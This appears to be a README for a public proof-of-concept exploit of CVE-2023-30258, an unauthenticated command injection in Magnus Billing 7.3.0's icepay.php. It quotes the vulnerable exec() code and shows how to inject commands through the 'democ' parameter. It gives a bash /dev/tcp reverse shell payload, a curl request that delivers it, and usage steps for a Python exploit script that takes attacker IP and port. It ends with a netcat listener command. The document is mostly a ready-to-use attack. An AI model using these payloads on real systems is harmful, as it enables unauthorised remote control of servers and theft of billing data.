magnus_billing_7.3.0_RCE_CVE-2023-30258

magnus_billing_7.3.0_RCE_CVE-2023-30258

There is a remote code execution vulnerability in magnus billing 7.3.0, in the parameter "democ" from the "icepay.php" resource, where you can escape the query and execute the command you want.

VULNERABLE CODE

if (isset($_GET['democ'])) {
    if (strlen($_GET['democ']) > 5) {
        exec("touch " . $_GET['democ'] . '.txt');
    } else {
        exec("rm -rf *.txt");
    }
}

The "democ" parameter is passed to exec(), to create a new file, but as you can see there isnt any string sanitizing, and the attacker can easily escape the touch command and execute a command or even get a reverse shell. To bypass txt extension, we can just add another ";" at the end of the string. The final payload would look like this:

testfile;<command>;testfile

and this is how it would look when passed to the exec() function:

exec('touch testfile;<command>;testfile.txt');

ex. reverse shell:

exec('touch testfile; bash -c "bash -i >& /dev/tcp/<ip>/<port> 0>&1";testfile.txt')

exploitation >:D

we could use curl to get ourselves a reverse shell, ex.

curl -X GET http://127.0.0.1:8080/lib/icepay/icepay.php?democ=testfile;<urlencoded_payload>;testfile

or if you prefer, you can use the python script from this repository. Installation:

git clone https://github.com/kayl22/magnus_billing_7.3.0_RCE_CVE-2023-30258 # get the repository

cd ./magnus_billing_7.3.0_RCE_CVE-2023-30258                                # change directory

chmod +x ./magnusbilling_rce.py                                             # add execution permissions to the python script

usage:

./magnusbilling_rce.py -h                                                   # show help

./magnusbilling_rce.py -lh <attacker_ip> -lp <local_port> -u http://<ip/domain>:<port>/

and last but not least, remember to start a listener with netcat:

nc -nlvvp <local_port>